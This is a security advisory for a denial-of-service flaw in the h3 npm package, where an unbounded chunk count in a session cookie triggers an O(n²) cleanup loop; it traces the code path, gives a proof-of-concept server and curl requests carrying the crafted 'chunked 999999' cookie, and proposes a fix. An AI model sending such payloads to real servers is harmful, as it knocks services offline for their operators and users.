PT-2026-29920 · Npm · H3

Publicado

2026-03-23

·

Atualizado

2026-03-23

CVSS v3.1

5.3

Média

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value ( chunked N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3= chunked 999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.

Details

The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value chunked N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.
The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249:
typescript
function getChunkedCookieCount(cookie: string | undefined): number {
 if (!cookie?.startsWith(CHUNKED COOKIE)) {
  return Number.NaN;
 }
 return Number.parseInt(cookie.slice(CHUNKED COOKIE.length));
 // No upper bound check — attacker controls this value
}
This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190:
typescript
const previousCookie = getCookie(event, name); // reads from request headers
if (previousCookie?.startsWith(CHUNKED COOKIE)) {
 const previousChunkCount = getChunkedCookieCount(previousCookie);
 if (previousChunkCount > chunkCount) {
  for (let i = chunkCount; i <= previousChunkCount; i++) {
   deleteCookie(event, chunkCookieName(name, i), options);
   // Each deleteCookie → setCookie → scans ALL existing set-cookie headers
  }
 }
}
The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232:
typescript
const chunksCount = getChunkedCookieCount(mainCookie);
if (chunksCount >= 0) {
 for (let i = 0; i < chunksCount; i++) {
  deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);
 }
}
The exploit chain through sessions:
  1. Attacker sends Cookie: h3= chunked 999999 to any session-using endpoint
  2. getSession() (src/utils/session.ts:83) calls getChunkedCookie(event, "h3") (line 124)
  3. getChunkedCookie() returns undefined — the early return at line 153 fires because no actual chunk cookies (e.g., h3.1) exist in the request
  4. Since sealedSession is undefined, session.id remains empty (line 140), triggering updateSession() (line 143)
  5. updateSession() calls setChunkedCookie() with the newly sealed session value (line 179)
  6. Inside setChunkedCookie(), getCookie(event, name) re-reads the original request cookie chunked 999999 at line 182
  7. previousChunkCount = 999999, chunkCount = 1 (new sealed session is small)
  8. The cleanup loop runs 999,998 iterations, each calling deleteCookie() → setCookie()
  9. Each setCookie() call reads ALL existing set-cookie response headers via getSetCookie() (line 91) and iterates through them for deduplication (lines 100-106)
  10. This creates O(n²) complexity — approximately 10¹² operations for n=999999
Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count.

PoC

Prerequisites: An h3 application with any endpoint using getSession() or useSession().
Example minimal server:
typescript
import { H3 } from "h3";
import { getSession } from "h3";

const app = new H3();

app.get("/dashboard", async (event) => {
 const session = await getSession(event, {
  password: "my-secret-password-at-least-32-chars-long!",
 });
 return { user: session.data.user || "anonymous" };
});

export default app;
Attack (single request, no authentication):
bash
# This single request will hang the server process
curl -H 'Cookie: h3= chunked 999999' http://localhost:3000/dashboard
For a less extreme but still impactful test:
bash
# ~100K iterations — will take several seconds and block all other requests
curl -H 'Cookie: h3= chunked 100000' http://localhost:3000/dashboard
The deleteChunkedCookie() path is exploitable via clearSession():
typescript
app.post("/logout", async (event) => {
 await clearSession(event, {
  password: "my-secret-password-at-least-32-chars-long!",
 });
 return { ok: true };
});
bash
curl -X POST -H 'Cookie: h3= chunked 999999' http://localhost:3000/logout

Impact

  • Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.
  • No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header.
  • Minimal attacker effort: The payload is trivially small (Cookie: h3= chunked 999999), making it easy to automate or repeat.
  • Wide attack surface: Any endpoint in the application that uses getSession(), useSession(), or clearSession() is vulnerable. Session usage is extremely common in web applications.
  • Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.

Recommended Fix

Add a maximum chunk count constant and validate in getChunkedCookieCount():
typescript
const MAX CHUNKED COOKIE COUNT = 100;

function getChunkedCookieCount(cookie: string | undefined): number {
 if (!cookie?.startsWith(CHUNKED COOKIE)) {
  return Number.NaN;
 }
 const count = Number.parseInt(cookie.slice(CHUNKED COOKIE.length));
 if (Number.isNaN(count) || count < 0 || count > MAX CHUNKED COOKIE COUNT) {
  return Number.NaN;
 }
 return count;
}
This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX CHUNKED COOKIE COUNT = 100 is generous while eliminating the DoS vector.
Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0 is false.

Correção

Resource Exhaustion

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Enumeração de Fraquezas

CWE-400

Identificadores relacionados

GHSA-Q5PR-72PQ-83V3

Produtos afetados

H3